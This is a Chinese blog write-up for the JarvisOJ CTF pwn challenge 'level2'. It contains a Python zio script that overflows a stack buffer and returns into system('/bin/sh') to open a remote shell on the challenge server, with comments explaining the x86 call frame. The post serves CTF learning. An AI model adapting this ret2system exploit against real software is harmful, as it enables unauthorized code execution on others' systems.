美文网首页CTFCTFLinux
[JarvisOj](pwn)level2

[JarvisOj](pwn)level2

作者: 王一航 | 来源:发表于2017-03-14 18:20 被阅读196次

    简介 :

    项目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn题目及 writeup 汇总)
    下载地址 : https://dn.jarvisoj.com/challengefiles/level2.54931449c557d0551c4fc2a10f4778a1
    

    地址 :

    nc pwn2.jarvisoj.com 9878
    

    利用代码 :

    #!/usr/bin/env python
    # encoding:utf-8
    
    import zio
    
    payload = "A" * 0x88 + "BBBB"
    payload += zio.l32(0x8048320) # system() 函数的地址
    payload += "\x00" * 4
    # 这四个字节是 system() 的返回地址 , 
    # 其实这里我们是利用栈溢出模拟了一个函数调用的过程
    # 在正常函数调用的时候 , x86-32位 架构下 , 首先对函数的参数压栈(从右至左)
    # 然后将函数的返回地址压栈 , 最后程序跳转到函数的第一条指令进行执行
    # 这里我们就是模拟了这里过程
    # 也就是说执行完 system("/bin/sh") 之后 , 
    # CPU 会从栈上取出这里的值并设置 eip 为这个值 , 
    # 由于我们这里的目的只是单纯拿到 shell , 
    # 因此我们并不需要去理会 system 执行完后程序会如何执行
    # 如果做的更完美一点的话 , 可以将其设置为 exit() 函数的地址 , 这样程序就会执行 exit 函数
    # 也就是从栈上再取出 exit 函数的参数 , 然后退出
    # 或者将其设置为 _start 函数的地址 , 这样就相当于将程序重新运行了一遍
    # (见下图)
    payload += zio.l32(0x804A024) # "/bin/sh" 的地址
    
    # Io = zio.zio("./level2")
    Io = zio.zio(("pwn2.jarvisoj.com", 9878))
    Io.write(payload)
    Io.interact()
    

    【技术分享】借助DynELF实现无libc的漏洞利用小结

    Paste_Image.png

    参考资料 :

    http://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/
    http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64/
    

    相关文章

      网友评论

        本文标题:[JarvisOj](pwn)level2

        本文链接:https://www.haomeiwen.com/subject/qrjhnttx.html